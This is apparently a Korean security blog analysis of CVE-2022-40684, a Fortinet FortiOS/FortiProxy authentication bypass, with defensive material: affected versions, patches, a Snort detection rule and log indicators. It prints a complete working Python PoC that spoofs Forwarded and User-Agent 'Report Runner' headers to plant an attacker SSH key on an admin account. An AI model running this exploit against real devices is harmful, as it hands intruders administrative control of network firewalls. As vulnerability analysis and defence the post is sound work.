1. Fortinet
- 보안 솔루션을 개발 및 판매하는 다국적 기업
2. CVE-2022-40684
- 취햑한 버전의 Fortinet 제품 Fortinet FortiOS, FortiProxy, FortiSwitchManager에서 조작된 HTTP/HTTPS 요청을 통해 발생하는 인증 우회 취약점 (CVSS 9.8점)
- FortiOS : Fortigate 방화벽 및 스위치와 같은 하드웨어에서 사용되는 Fortinet의 리눅스 기반 운영 체제
- FortiProxy : 여러 가지 탐지 기술(웹 필터링, DNS 필터링, 데이터 손실 방지, 안티바이러스, 침입 방지 및 지능형 위협 보호)을 통합하여 인터넷에서 발생하는 공격으로부터 보호하는 웹 프록시
- FortiSwitchManager : FortiSwitch 템플릿과 VLAN을 중앙에서 관리하고 FortiGate 장치에 연결된 FortiSwitch 장치를 모니터링
취약 버전
① FortiOS : 7.2.0 ~ 7.2.1 및 7.0.0 ~ 7.0.6
② FortiProxy : 7.2.0 및 버전 7.0.0 ~ 7.0.6
③ FortiSwitchManager : 7.0.0 및 7.2.0
* FortiOS version 5.x, 6.x는 영향받지 않음
2.1 공격 원리
- 먼저 GET 요청을 통해 Fortinet 어플라이언스가 있는지 확인
- Fortinet 어플라이언스 존재 시(취약한 서버 확인 시) PUT 요청을 통해 admin의 SSH 키를 자신의 키로 수정
- 이때, User-Agent 헤더와 Forwarded헤더를 조작
- 공격자의 접근을 위한 로컬 사용자 추가
2.2 취약점 분석
- 전달된 헤더를 구문 분석하고 for 및 by 필드를 추출하여 Apache request_rec 구조에 연결
- vdom 소켓 옵션이 신뢰할 수 있는지 확인하는 api_check_access_for_trusted_source 함수를 사용하지만 그 다음 is_trusted_ip_and_user_agent 함수로 넘어감.
- client_ip가 "127.0.01"이고 User-Agent 헤더가 두 번째 매개변수와 일치하는지 확인하는 함수
- 이 함수는 "Node.js"와 "Report Runner"의 두 가지 가능한 매개변수로 호출
- "Node.js" 경로는 추가 유효성 검사를 수행하는 것처럼 보이지만 "Report Runner"를 사용하면 인증을 우회하고 API 요청을 수행할 수 있음
2.3 PoC 분석
#!/usr/bin/python3
import argparse
import json
import requests
import urllib3
requests.packages.urllib3.disable_warnings()
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
HEADERS = {
'User-Agent': 'Report Runner',
'Forwarded': 'for="[127.0.0.1]:8888";by="[127.0.0.1]:8888"'
}
def format_key(key_file):
with open(key_file) as f:
k = f.read().strip()
return(k)
def add_key(target, username, key_file):
key = format_key(key_file)
j = {
"ssh-public-key1": '\"' + key + '\"'
}
url = f'https://{target}/api/v2/cmdb/system/admin/{username}'
r = requests.put(url, headers=HEADERS, json=j, verify=False)
if 'SSH key is good' not in r.text:
print(f'[-] {target} is not vulnerable!')
else:
print(f'[+] SSH key for {username} added successfully!')
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument('-t', '--target', help='The IP address of the target', required=True)
parser.add_argument('-u', '--username', help='The user to add an SSH key file for', required=True)
parser.add_argument('-k', '--key-file', help='The SSH key file', required=True)
args = parser.parse_args()
add_key(args.target, args.username, args.key_file)
- PoC를 확인해보면 다음을 확인해 볼 수 있음
① /api/v2/cmdb/system/admin URL로 요청이 이루어짐 : Fortinet 어플라이언스 여부 확인
② is_trusted_ip_and_user_agent 함수를 우회하기 위해 헤더값 조작 : Fowarded 헤더를 사용하여 공격자는 client_ip 를 "127.0.0.1" 및 User-Agent 가 "Report Runner" 설정
3. 대응방안
3.1 서버측면
① 최신 업데이트 적용
- FortiOS : 7.2.2 또는 7.0.7
- FortiProxy : 7.2.1 또는 7.0.7
- FortiSwitchManager : 7.2.1
- FG6000F, 7000E/F 시리즈 플랫폼의 경우 FortiOS 버전 7.0.5 B8001로 업데이트
② 즉시 보안 업데이트가 어려운 제품 사용자
- HTTP/HTTPS 관리 인터페이스 비활성화
- 관리 인터페이스에 도달할 수 있는 IP 제한 등 임시 조치를 권고
- 이 후 최신 버전으로 업데이트 필요
3.2 네트워크 측면
① PoC를 토대로 "/api/v2/cmdb/system/admin", "User-Agent: Report Runner", "127.0.0.1" 문자열이 포함된 경우 탐지하는 패턴을 등록함
alert tcp any any -> any any (msg:"Fortinet_Auth Bypass_Detected"; content:"/api/v2/cmdb/system/admin"; content:"|20|HTTP/"; content:"|0d 0a|User-Agent|3a| Report Runner"; content:"127.0.0.1";)
3.3 공통
① 로그 모니터링
- 해당 취약점에 노출되었는지 확인
- 장치 로그에서 user=" Local_Process_Access", user_interface=" Node.js" 또는 user_interface=" Report Runner" 확인
4. 참조
https://nvd.nist.gov/vuln/detail/CVE-2022-40684
https://www.fortiguard.com/psirt/FG-IR-22-377
'취약점 > By-Pass' 카테고리의 다른 글
Apache OfBiz 인증 우회 취약점 (CVE-2023-51467) (1) | 2023.12.31 |
---|---|
TeamCity Server 인증 우회 취약점 (CVE-2023-42793) (0) | 2023.10.23 |
VMware 제품 인증 우회 취약점 (CVE-2022–31656) (0) | 2023.01.11 |
Mantis BT 비밀번호 재설정 취약점 (CVE-2017-7615) (0) | 2022.12.25 |
WordPress Plugin Portable phpMyAdmin 인증 우회 (CVE-2012-5469) (0) | 2022.12.09 |